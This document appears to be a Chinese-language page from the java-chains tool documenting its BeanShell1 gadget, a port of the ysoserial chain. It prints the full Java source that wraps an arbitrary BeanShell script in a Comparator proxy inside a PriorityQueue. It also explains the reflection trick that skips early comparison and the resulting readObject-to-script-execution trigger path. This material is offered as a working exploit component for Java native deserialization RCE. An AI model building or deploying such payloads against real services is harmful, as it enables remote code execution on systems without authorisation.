Skip to content

Latest commit

 

History

History
59 lines (51 loc) · 4.13 KB

File metadata and controls

59 lines (51 loc) · 4.13 KB

Beanshell链(BeanShell1)

  • 类别:javanative 别名:— 优先级:—
  • 作者:pwntester、cschneider4711
  • 依赖org.beanshell:bsh:2.0b5

作用

构造一个以「BeanShell 脚本」为后盾的 Comparator 动态代理,放入 PriorityQueue。Java 原生反序列化 PriorityQueue.readObject 会调用比较器的 compare,经 bsh 的 XThis InvocationHandler 触发预置的 BeanShell 脚本执行,从而 RCE。是 ysoserial 经典 BeanShell1 的 java-chains 移植版。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(PriorityQueue.readObject)。
  • 衔接 nextTagsBeanshell_Expr —— 下游(内层)需提供一段 BeanShell 表达式字符串,见 BeanshellConvertUserCustomExpr
  • excludes:无。

源码剖析

public PriorityQueue getObject(String beanshell) throws Exception {
    String payload = "compare(Object foo, Object bar) {%s;return new Integer(1);}"; // 把脚本塞进 compare 方法体
    Interpreter i = new Interpreter();
    Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
    setu.setAccessible(true);
    setu.invoke(i, "bsh.cwd", ".");                                       // 反射设置 bsh 工作目录,规避初始化缺失
    i.eval(String.format(payload, beanshell));                           // 在解释器命名空间内定义 compare()
    XThis xt = new XThis(i.getNameSpace(), i);                           // XThis 承载该命名空间
    InvocationHandler handler = (InvocationHandler)
        Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // 取出 bsh 的 InvocationHandler
    Comparator comparator = (Comparator) Proxy.newProxyInstance(         // 代理成 Comparator
        Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
    PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
    Object[] queue = new Object[]{1, 1};                                 // 反射直接写底层数组,避免 add 时提前 compare
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    return priorityQueue;
}
  • beanshell 参数来自 chain.doCreate(context)(内层 gadget 产出的脚本字符串),本 gadget 不写死脚本,实现可插拔 payload。
  • 关键点:脚本被包进 compare(Object,Object){...;return new Integer(1);},因此 bsh 命名空间里存在名为 compare 的方法;XThis 的 InvocationHandler 在被当作 Comparator 调用 compare 时,会派发到该 bsh 方法并执行其中的脚本。
  • 直接反射写入底层数组 queuesize=2,绕过 PriorityQueue.add 阶段的比较(否则会在构造时就触发脚本或报错)。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((String) chain.doCreate(context));
}

触发链PriorityQueue.readObject → heapify → siftDown → comparator.compare → (Proxy) bsh XThis.invoke → 执行 BeanShell 脚本

参数(@Param)

本类无独立 @Param;BeanShell 脚本由下游 Beanshell_Expr gadget 经 chain.doCreate 注入。

适用版本与原理要点

  • 依赖 bsh:2.0b5(BeanShell)在目标 classpath。
  • 与 ysoserial BeanShell1 同源,但通过 setu("bsh.cwd",".") 反射修复了解释器工作目录,兼容性更好。
  • 触发面为 PriorityQueue,适用于绝大多数走 Java 原生反序列化的入口;无需 commons-collections。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可与 BeanshellConvert 组合(对应预设链「BeanshellRef 利用」的思路,但那条走 JNDI/BeanshellRef 变体)。

关联

  • 下游(nextTags=Beanshell_Expr):BeanshellConvertUserCustomExpr —— 提供 BeanShell 脚本文本。
  • 同族:BeanShell2 —— 相同思路的另一实现(用反射构造 XThisadd 元素后再替换比较器)。